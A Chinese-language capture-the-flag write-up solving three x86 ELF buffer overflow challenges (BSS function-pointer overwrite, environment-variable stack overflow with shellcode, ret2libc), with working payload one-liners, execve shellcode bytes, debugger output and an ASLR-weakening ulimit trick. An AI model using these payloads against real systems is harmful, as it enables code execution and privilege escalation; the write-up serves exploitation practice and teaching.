练习还是要保持呀
ELF x86 - BSS buffer overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include <stdio.h> #include <stdlib.h> char username[512] = {1}; void (*_atexit)(int) = exit; void cp_username(char *name, const char *arg) { while((*(name++) = *(arg++))); *name = 0; } int main(int argc, char **argv) { if(argc != 2) { printf("[-] Usage : %s <username>\n", argv[0]); exit(0); } cp_username(username, argv[1]); printf("[+] Running program with username : %s\n", username); _atexit(0); return 0; }
|
很显然,username
处存在溢出,然后可以看到,在这个变量的下方,定义了一个函数指针,我们可以通过覆盖这个函数指针,让程序最后执行这个函数的时候,变成执行shellcode。
1
| `python -c "print 'a'*512 + '\x44\xa2\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'"`
|
ELF x86 - Stack buffer overflow basic 4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| #include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <string.h> struct EnvInfo { char home[128]; char username[128]; char shell[128]; char path[128]; }; struct EnvInfo GetEnv(void) { struct EnvInfo env; char *ptr; if((ptr = getenv("HOME")) == NULL) { printf("[-] Can't find HOME.\n"); exit(0); } strcpy(env.home, ptr); if((ptr = getenv("USERNAME")) == NULL) { printf("[-] Can't find USERNAME.\n"); exit(0); } strcpy(env.username, ptr); if((ptr = getenv("SHELL")) == NULL) { printf("[-] Can't find SHELL.\n"); exit(0); } strcpy(env.shell, ptr); if((ptr = getenv("PATH")) == NULL) { printf("[-] Can't find PATH.\n"); exit(0); } strcpy(env.path, ptr); return env; } int main(void) { struct EnvInfo env; printf("[+] Getting env...\n"); env = GetEnv(); printf("HOME = %s\n", env.home); printf("USERNAME = %s\n", env.username); printf("SHELL = %s\n", env.shell); printf("PATH = %s\n", env.path); return 0; }
|
一如既往的没有开防护。这个题目牵扯到环境变量,有点麻烦。观察可以知道,这里的strcpy存在漏洞:
1 2 3 4 5 6
| if((ptr = getenv("PATH")) == NULL) { printf("[-] Can't find PATH.\n"); exit(0); } strcpy(env.path, ptr);
|
这个env直接是以变量的形式存放在栈中,这样的话如果ptr所指向的字符串地址过大的话,那么此时函数的返回值地址就会被修改成我们指定的地址。
1 2 3 4 5 6
| app-systeme-ch8@challenge02:~$ env | grep SHELL SHELL=/bin/bash app-systeme-ch8@challenge02:~$ env | grep PATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/ NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript app-systeme-ch8@challenge02:~$
|
这里可以知道,这个PATH
变量中的字符串长度为109。我们这里可以使用export
指令对当前的环境变量进行设置,我调试的时候开了tmux,所以PATH长度多了一点,不过只要计算一下即可。于是能够想到这个题目的攻击思路:
1 2 3
| +------------------------+ +---------------+ +---------------+ | 往USERNAME写入shellcode | ---> | 修改返回值地址 | ---> | 跳转至USERNAME | +------------------------+ +---------------+ +---------------+
|
加上没有打开ASLR,所以应该很简单(吗?)
调试的技巧
这个题目虽然非常的简单,但是其调试起来很麻烦,因为我们使用gdb的时候,环境变量发生了一点变化,导致当前栈的位置和直接运行的时候有所差异。比如说,在gdb调试模式下,我们能够看到我们的返回值地址如下:
1 2 3 4 5
| 0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924 0xbffff740: 0xb7fcfac0 0x0000000a 0x00000012 0xbffffe2c 0xbffff750: 0xbffffb98 0xb7ff2630 0xbffffbd4 0xb7fcf000 0xbffff760: 0x00000000 0x00000000 0xbffffb98 0x08048679 <----返回值地址 0xbffff770: 0xbffff780 0x00000007 0x001aa1d0 0x001ab1d0
|
但是实际上,经过我的测试,返回值地址在实际运行时候的地址变成了0xbffff78c
,两者之间存在差异。虽说返回值可能不受影响,但是为了保证我们能够跳转到USERNAME的地址上,我们需要知道当前栈中地址的变化,或者说至少知道USERNAME的起始地址。
这里就要提到一个工具叫做ltrace:
- 用于跟踪进程调用库函数的情况
- 可以真实反应当前进程中的程序地址
ltrace可以通过跟不同的参数,显示此时使用的系统调用,花费时间等等。这里暂且介绍其观察调用进程的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| app-systeme-ch8@challenge02:~$ ltrace ./ch8 __libc_start_main(0x8048648, 1, 0xbffffc64, 0x8048720 <unfinished ...> puts("[+] Getting env..."[+] Getting env... ) = 19 getenv("HOME") = "/challenge/app-systeme/ch8" strcpy(0xbffff56c, "/challenge/app-systeme/ch8") = 0xbffff56c getenv("USERNAME") = "aaa" strcpy(0xbffff5ec, "aaa") = 0xbffff5ec getenv("SHELL") = "/bin/bash" strcpy(0xbffff66c, "/bin/bash") = 0xbffff66c getenv("PATH") = "/usr/local/sbin:/usr/local/bin:/"... strcpy(0xbffff6ec, "/usr/local/sbin:/usr/local/bin:/"...) = 0xbffff6ec printf("HOME = %s\n", "/challenge/app-systeme/ch8"HOME = /challenge/app-systeme/ch8 ) = 38 printf("USERNAME = %s\n", "aaa"USERNAME = aaa ) = 15 printf("SHELL = %s\n", "/bin/bash"SHELL = /bin/bash ) = 21 printf("PATH = %s\n", "/usr/local/sbin:/usr/local/bin:/"...PATH = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/ ) = 121
|
可以看到,这里把各个参数的调用地址都写了出来,此时我们就能够知道,在当前环境变量下,各个变量的栈中地址。
接下来,我们尝试设置我们的环境变量
1 2
| export USERNAME=`python -c "print '\x31\xc9\xf7\xe1\x51\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x0b\xcd\x80'"` export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/:/opt/tools/checksec/:`python -c "print 'a'*29 + '\x9c\xf5\xff\xbf\x10\xf0\xff\xbf'"`
|
这里注意一个坑点:由于环境变量字符串结尾有\0,导致我们修改返回地址的时候,本来传入的参数地址会被我们修改:
1 2 3 4 5 6 7 8
| 0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924 0xbffff740: 0xb7fcfac0 0x0000000a 0x00000012 0xbffffe2c 0xbffff750: 0xbffffb98 0xb7ff2630 0xbffffbd4 0xb7fcf000 0xbffff760: 0x00000000 0x00000000 0xbffffb98 0x08048679 <----返回值地址 0xbffff770: 0xbffff780 0x00000007 0x001aa1d0 0x001ab1d0 ^ | +------------------------------------------------------- 修改返回地址后,最低位会被我们修改成0
|
然后,我们会看到,程序中有一段的逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| .text:080485C5 mov eax, [ebp+8] .text:080485C8 lea edx, [ebp+env] .text:080485CE mov ebx, 200h .text:080485D3 mov ecx, eax .text:080485D5 and ecx, 1 .text:080485D8 test ecx, ecx .text:080485DA jz short loc_80485EA ... .text:08048602 mov ecx, ebx .text:08048604 shr ecx, 2 .text:08048607 mov edi, eax .text:08048609 mov esi, edx .text:0804860B rep movsd; qmemcpy(v1, v2, 4 * (size >> 2));
|
这段逻辑会取出这个参数,并且进行数据拷贝。这个时候,由于我们把参数的最低8bit置为0,会导致复制的过程中,将我们原有的返回值地址给修改了:

如上图,此时指针依然会写入Env这么大的数据,但是我们此时并没有给其留足空间,会导致我们的返回值也被修改
所以这里为了保证其参数不出意外,我们可以主动指定一个地址填充过去(例如0xbffff100,这个位置可写并且不会影响到当前栈),从而保证返回值地址不会被覆盖。
ELF x86 - Stack buffer overflow basic 6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <stdio.h> #include <string.h> int main (int argc, char ** argv){ char message[20]; if (argc != 2){ printf ("Usage: %s <message>\n", argv[0]); return -1; } strcpy (message, argv[1]); printf ("Your message: %s\n", message); return 0; }
|
这个题目比较接近比赛的第一题了。首先防护,其打开了NX,那么我们就不能通过往栈中写入shellcode进行攻击了。于是这个题目就变成了很经典的ret2libc(虽然有别的做法),然而发现,其没有开ASLR,并且传参的又开始使用argv。。。所以又变得有点不太好。。
主要就是在调试的时候,使用gdb直接查看到libc中system的地址,并且根据运算,查看对应的/bin/sh的地址即可。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| gdb$ info proc all process 5436 warning: target file /proc/5436/cmdline contained unexpected null characters cmdline = '/challenge/app-systeme/ch33/ch33' cwd = '/challenge/app-systeme/ch33' exe = '/challenge/app-systeme/ch33/ch33' Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /challenge/app-systeme/ch33/ch33 0x8049000 0x804a000 0x1000 0x0 /challenge/app-systeme/ch33/ch33 0x804a000 0x804b000 0x1000 0x1000 /challenge/app-systeme/ch33/ch33 0xb7e21000 0xb7e22000 0x1000 0x0 0xb7e22000 0xb7fcd000 0x1ab000 0x0 /lib/i386-linux-gnu/libc-2.19.so 0xb7fcd000 0xb7fcf000 0x2000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fcf000 0xb7fd0000 0x1000 0x1ac000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fd0000 0xb7fd3000 0x3000 0x0 0xb7fdb000 0xb7fdd000 0x2000 0x0 0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so
|
然而不知道为啥。。。我看到答案上都是直接起shell就能够拿到flag。。。我这边起了shell也不行呀,非得构造个/bin/dash
。所以这里我直接利用了环境变量:
1
| export MYSHELL=/bin/dash
|
之后利用gdb大概找到这个字符串所在的位置
1 2
| 0xbfffff49: "LOGNAME=app-systeme-ch33" 0xbfffff62: "MYSHELL=/bin/dash"
|
可以定位到,这个/bin/dash
地址为0xbfffff6a,但是实际运行的时候,发现这个地方依然不是/bin/dash
。。。于是只能暴力测试。。得到了字符串地址为0xbfffff7b
1
| ./ch33 `python -c 'print "a"*32 + "\x10\x23\xe6\xb7"+"b"*4+"\x7b\xff\xff\xbf"'`
|
后来出现了神奇的现象。。在我成功做出了答案之后,直接使用/bin/sh也能够得到答案了神奇。。。
排名第一的答案再次学习了新的姿势:
ulimit
这个指令的作用是改变linux下对资源的限制。-s unlimited
意味着让整个堆栈限制解除。这个地方一旦解除了栈的限制,整个libc映射都不会发生变化:
ASLR漏洞
这个时候再使用gdb调试找到对应的地址就很容易了。之后的思路就和我们利用思路一致,直接修改返回值即可。